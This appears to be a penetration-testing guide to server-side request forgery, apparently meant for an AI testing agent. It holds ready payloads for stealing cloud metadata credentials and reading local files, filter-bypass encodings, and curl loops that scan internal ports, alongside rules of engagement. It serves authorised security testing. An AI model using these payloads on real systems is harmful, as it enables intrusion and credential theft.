| CWE | CWE-918 |
| WSTG | WSTG-INPV-19 |
| MITRE ATT&CK | T1090 |
| CVSS Range | 5.0-9.1 |
| Tools | ssrfmap |
| Difficulty | 🟡 intermediate |
Server-Side Request Forgery (SSRF)
SSRF occurs when you can induce a server-side application to make HTTP requests to a destination you control, turning the vulnerable server into a proxy for internal services, cloud metadata, and otherwise unreachable resources. The server typically has network access you do not: internal networks (10.x, 172.16.x, 192.168.x), cloud metadata (169.254.169.254), localhost services, internal DNS, and Docker/Kubernetes internal networks.
Quick Reference​
High-value targets to test immediately when SSRF is confirmed:
| Target | URL | What you get |
|---|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ | IAM role credentials |
| AWS ECS | http://169.254.170.2/v2/credentials/ | ECS task credentials |
| GCP metadata | http://metadata.google.internal/computeMetadata/v1/?recursive=true | Access tokens (requires Metadata-Flavor: Google header) |
| Azure IMDS | http://169.254.169.254/metadata/instance?api-version=2021-02-01 | Instance info (requires Metadata: true header) |
| Azure identity | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ | Managed identity token |
| Kubernetes API | https://kubernetes.default.svc/api/v1/ | Cluster API access |
| Localhost services | http://127.0.0.1:<port>/ | Internal service access |
| Local files | file:///etc/passwd | File read (if protocol supported) |
Common injection parameters: url, uri, link, href, src, path, redirect, callback, webhook, endpoint, host, target, dest, fetch, load, import, proxy, forward
Detect SSRF​
Find Injection Points​
Look for any functionality where the server fetches external resources:
- URL preview/unfurling -- link previews, social cards, metadata extraction
- File operations -- PDF generation from URLs, image processing/resizing, screenshot generation
- Integrations -- webhook configuration, API endpoint testing, OAuth callbacks, RSS/feed fetching
- Import/export -- import from URL, remote file loading, data sync
- Proxy functionality -- API gateways, CORS proxies, image/asset proxies
Identify the SSRF Variant​
Full response SSRF: The server returns the fetched response to you. Most exploitable -- direct data exfiltration.
Blind SSRF: The server fetches the URL but does not return the response. Requires out-of-band detection to confirm the request was made. Use the built-in manage_ssrf_callbacks MCP tool.
Partial/Semi-blind SSRF: The server returns only fragments -- a status code, parsed subset, or error messages that leak information. Timing and error message differences can reveal internal state.
Confirm with Out-of-Band Detection​
Use the built-in SSRF callback service (manage_ssrf_callbacks MCP tool) for out-of-band detection. It is self-hosted, private, and integrated with the platform.
# 1. Create a callback URL
result = mcp__pter-api-server__manage_ssrf_callbacks(action="create")
callback_url = result["callback_url"]
token = result["token"]
# 2. Inject the callback URL into the target
curl -X POST "https://TARGET/api/fetch" \
-H "Content-Type: application/json" \
-d '{"url": "CALLBACK_URL"}'
# Also test URL in path segments and various parameter positions
curl "https://TARGET/fetch?url=CALLBACK_URL"
curl "https://TARGET/image/CALLBACK_URL/test.png"
curl "https://TARGET/proxy/CALLBACK_URL"
# 3. Check if any requests were received
result = mcp__pter-api-server__manage_ssrf_callbacks(action="check", token=token)
# result["received"] == True means the target made an outbound request
# 4. Get full request details (source IP, headers, body)
result = mcp__pter-api-server__manage_ssrf_callbacks(action="get_requests", token=token)
# 5. Clean up when done
mcp__pter-api-server__manage_ssrf_callbacks(action="delete", token=token)
Watch for incoming HTTP requests to confirm the server made an outbound connection.
Analyze Responses​
When the server returns responses, use timing and error analysis to fingerprint:
# Timing analysis -- open ports respond faster than closed/filtered
time curl -s "https://TARGET/fetch?url=http://127.0.0.1:80/" # Fast = service running
time curl -s "https://TARGET/fetch?url=http://10.0.0.1:22" # Slow = timeout/filtered
# Error message analysis -- different errors reveal information
# "Could not resolve host" -> DNS resolution occurs server-side
# "Connection refused" -> host reachable, port closed
# "Protocol mismatch" -> non-HTTP service detected (e.g., SSH)
# "Connection timed out" -> host unreachable or filtered
# Response size comparison
curl -s "https://TARGET/fetch?url=http://127.0.0.1:80" | wc -c # Large = web server
curl -s "https://TARGET/fetch?url=http://127.0.0.1:22" | wc -c # Small = SSH banner
Exploit Blind SSRF​
When the server does not return the response body, use these techniques:
Out-of-band detection with the SSRF callback service:
# Create callback, inject into target, then poll for hits
result = mcp__pter-api-server__manage_ssrf_callbacks(action="create")
# Inject result["callback_url"] into the target
# ...
# Check for captured requests
mcp__pter-api-server__manage_ssrf_callbacks(action="check", token=result["token"])
Timing-based inference:
# Open ports respond faster than closed/filtered
# Measure response time differences across ports
for port in 22 80 443 3306 5432 6379 8080 9200; do
response=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
"https://TARGET/fetch?url=http://127.0.0.1:${port}/")
echo "Port ${port}: ${response}"
done
Error-based inference: Different internal states produce different error messages or HTTP status codes. Map error responses to distinguish open ports, closed ports, and live hosts.
Bypass Input Filters​
Encode IP Addresses​
# Decimal encoding (127.0.0.1 = 2130706433)
http://2130706433/
# Octal encoding
http://0177.0.0.01/
http://0177.0000.0000.0001/
# Hexadecimal encoding
http://0x7f.0x0.0x0.0x1/
http://0x7f000001/
# Shortened notation
http://127.1/
http://127.0.1/
# IPv6 representations
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:127.0.0.1]/
Use URL Encoding​
# Single URL encoding
http://127.0.0.1%2f
http://%31%32%37%2e%30%2e%30%2e%31/
# Double URL encoding
http://%25%33%31%25%33%32%25%33%37%2e%30%2e%30%2e%31/
# Unicode / zero-width characters
http://127.0.0.1%E2%80%8B/
Confuse URL Parsers​
# @ sign -- some parsers treat what's before @ as credentials, after @ as host
http://allowed-domain.com@127.0.0.1/
# Fragment confusion
http://127.0.0.1#@allowed-domain.com/
# Backslash confusion
http://allowed-domain.com\@127.0.0.1/
# Null byte injection
http://127.0.0.1%00.allowed-domain.com/
Chain Redirects​
# Use an open redirect on an allowed domain to reach internal targets
https://allowed-domain.com/redirect?url=http://169.254.169.254/
# URL shorteners (if not blocked)
https://bit.ly/xxx # Shortlink redirecting to internal target
Use Controlled DNS​
# DNS pointing to internal IP (you control the DNS record)
# Set internal.your-domain.com -> 127.0.0.1
http://internal.your-domain.com/
# Wildcard DNS services
http://127.0.0.1.nip.io/
http://127.0.0.1.sslip.io/
http://localtest.me/ # Resolves to 127.0.0.1
Inject Headers via CRLF​
# Inject headers via CRLF in URL (useful for cloud metadata header requirements)
http://127.0.0.1/%0d%0aMetadata-Flavor:Google
http://127.0.0.1/%0d%0aX-Injected-Header:value
Map Internal Services​
Use confirmed SSRF to map the internal network and fingerprint services:
Scan Ports​
# Scan common service ports on localhost
for port in 22 80 443 3306 5432 6379 8080 8443 9200 11211 27017; do
response=$(curl -s -o /dev/null -w "%{http_code}:%{time_total}" \
"https://TARGET/fetch?url=http://127.0.0.1:${port}/")
echo "Port ${port}: ${response}"
done
Discover Hosts​
# Docker default gateway
curl "https://TARGET/fetch?url=http://172.17.0.1/"
# Common internal hostnames
for host in localhost gateway db redis elasticsearch rabbitmq consul vault \
memcached mongodb mysql postgres grafana prometheus jenkins; do
curl -s "https://TARGET/fetch?url=http://${host}/"
done
# Scan internal IP ranges (targeted, not exhaustive)
# 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
Fingerprint Services​
# Redis (6379) -- look for redis_version, os, uptime
curl "https://TARGET/fetch?url=http://127.0.0.1:6379/INFO"
# Elasticsearch (9200) -- look for cluster_name, version
curl "https://TARGET/fetch?url=http://127.0.0.1:9200/"
# Docker API (2375) -- list running containers
curl "https://TARGET/fetch?url=http://127.0.0.1:2375/containers/json"
# Consul (8500) -- cluster membership
curl "https://TARGET/fetch?url=http://127.0.0.1:8500/v1/agent/members"
# MongoDB (27017)
curl "https://TARGET/fetch?url=http://127.0.0.1:27017/"
Scan Cloud Buckets​
When you discover cloud infrastructure, check for publicly accessible storage:
# AWS S3 -- check if bucket is publicly readable
curl "https://BUCKET_NAME.s3.amazonaws.com/"
curl "https://s3.amazonaws.com/BUCKET_NAME/"
# Azure Blob Storage -- check public container access
curl "https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list"
# GCP Cloud Storage -- check public bucket
curl "https://storage.googleapis.com/BUCKET_NAME/"
Discover bucket names from: metadata user-data scripts, environment variables (via file:///proc/self/environ), application configuration files, and HTML/JS source containing storage URLs.
Assess Impact​
Establish clear evidence thresholds before claiming exploitation success:
Level 1 -- Basic Detection (Low severity): The server made an HTTP request to your callback. Confirms SSRF exists but impact is unclear. Proof: callback service received a request from the target's IP with your unique path.
Level 2 -- Internal Access (Medium/High severity): The server accessed internal or restricted resources. Proof: response contains internal service data (Elasticsearch cluster info, Redis version, internal admin panels) not accessible externally.
Level 3 -- Sensitive Data Access (High/Critical severity): Extracted sensitive data from internal resources. Proof: cloud metadata credentials retrieved, internal API responses with sensitive data, configuration files with secrets.
Level 4 -- Critical Impact (Critical severity): Achieved code execution or full system compromise. Proof: RCE through internal service exploitation (Redis, Docker API), stolen credentials used to demonstrate further access (S3 bucket listing, EC2 control).
Write the PoC​
Do:
- Extract the minimum data needed to prove the vulnerability
- Use read-only operations where possible
- Document the capability without fully exercising it
- Report immediately if highly sensitive credentials are exposed
- Include the full request/response chain in your report
Do not:
- Exfiltrate bulk data or dump entire credential stores
- Send malformed data that could crash internal services
- Use extracted credentials for extended access or lateral movement
- Access other users' or tenants' data via stolen cloud credentials
- Port scan entire networks -- use targeted probes
False positives to avoid:
- Client-side requests: Verify the request originates from the server, not the user's browser (JavaScript
fetch()) - Open redirects: A 302 redirect to
http://127.0.0.1/is not SSRF -- the server must fetch the URL and return its content - Intended proxy functionality: CORS proxies designed to forward requests are features, not vulnerabilities -- focus on accessing unintended internal resources
- DNS-only lookups: A DNS resolution without a subsequent HTTP request is not SSRF exploitation
Tools​
| Tool | Purpose | When to use |
|---|---|---|
| manage_ssrf_callbacks | Out-of-band callback detection | Always -- essential for blind SSRF detection. Use action="create" to generate a callback URL |
| SSRFmap | Automated SSRF exploitation | After confirming basic SSRF. Automates cloud metadata extraction, port scanning, file reading (ssrfmap -r request.txt -p url -m aws) |
| Gopherus | Gopher protocol payload generation | When gopher:// is supported. Generates payloads for Redis, MySQL, FastCGI exploitation |
| rbndr.us / rebind.it | DNS rebinding services | When hostname validation blocks direct IP access. Alternates DNS responses between safe and target IPs |
| singularity | DNS rebinding attack framework | Self-hosted DNS rebinding for more control |
| curl | Manual HTTP requests | Core tool for all manual testing and verification |
SSRFmap workflow:
# Save the vulnerable request as a template
cat > request.txt << 'EOF'
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json
{"url": "FUZZ"}
EOF
# Test cloud metadata
ssrfmap -r request.txt -p url -m aws
ssrfmap -r request.txt -p url -m gcp
ssrfmap -r request.txt -p url -m azure
# Test file reading and port scanning
ssrfmap -r request.txt -p url -m readfiles
ssrfmap -r request.txt -p url -m portscan
Prioritization​
Test these first (highest real-world exploitability)​
- Cloud metadata extraction (AWS IMDSv1, GCP, Azure) -- EPSS >0.7 for SSRF CVEs targeting cloud metadata. Single request can yield IAM credentials with broad access. This is the #1 SSRF target in cloud-hosted applications.
- Full-response SSRF on URL preview/webhook endpoints -- Webhook configuration, URL preview, and link unfurling features are the most common SSRF vectors. Direct data exfiltration when the response is returned.
- Internal service access via localhost -- Redis, Elasticsearch, Docker API, and other services commonly listen on localhost without authentication. Port scan 127.0.0.1 on common service ports.
Test these if time permits (lower exploitability)​
- Blind SSRF with out-of-band detection -- Confirms the vulnerability exists but impact demonstration requires additional steps. Use
manage_ssrf_callbacksfor detection, then attempt to escalate. - Protocol handler abuse (gopher://, file://, dict://) -- Many modern HTTP libraries restrict protocols to http/https. Test only if the application uses permissive URL fetching libraries.
- DNS rebinding attacks -- Complex setup, requires controlled DNS infrastructure. Use only when IP-based blocklists prevent direct access to internal targets.
Skip if​
- Application does not fetch external URLs or process user-supplied URLs in any feature
- Application runs on-premise with no cloud metadata service (no 169.254.169.254)
- All URL parameters are validated against a strict allowlist of domains
Asset criticality​
Prioritize by infrastructure exposure: cloud-hosted applications (metadata = credential theft) > applications with internal service dependencies (Redis, databases) > on-premise applications. SSRF on webhook/integration endpoints is higher priority than on image proxy endpoints.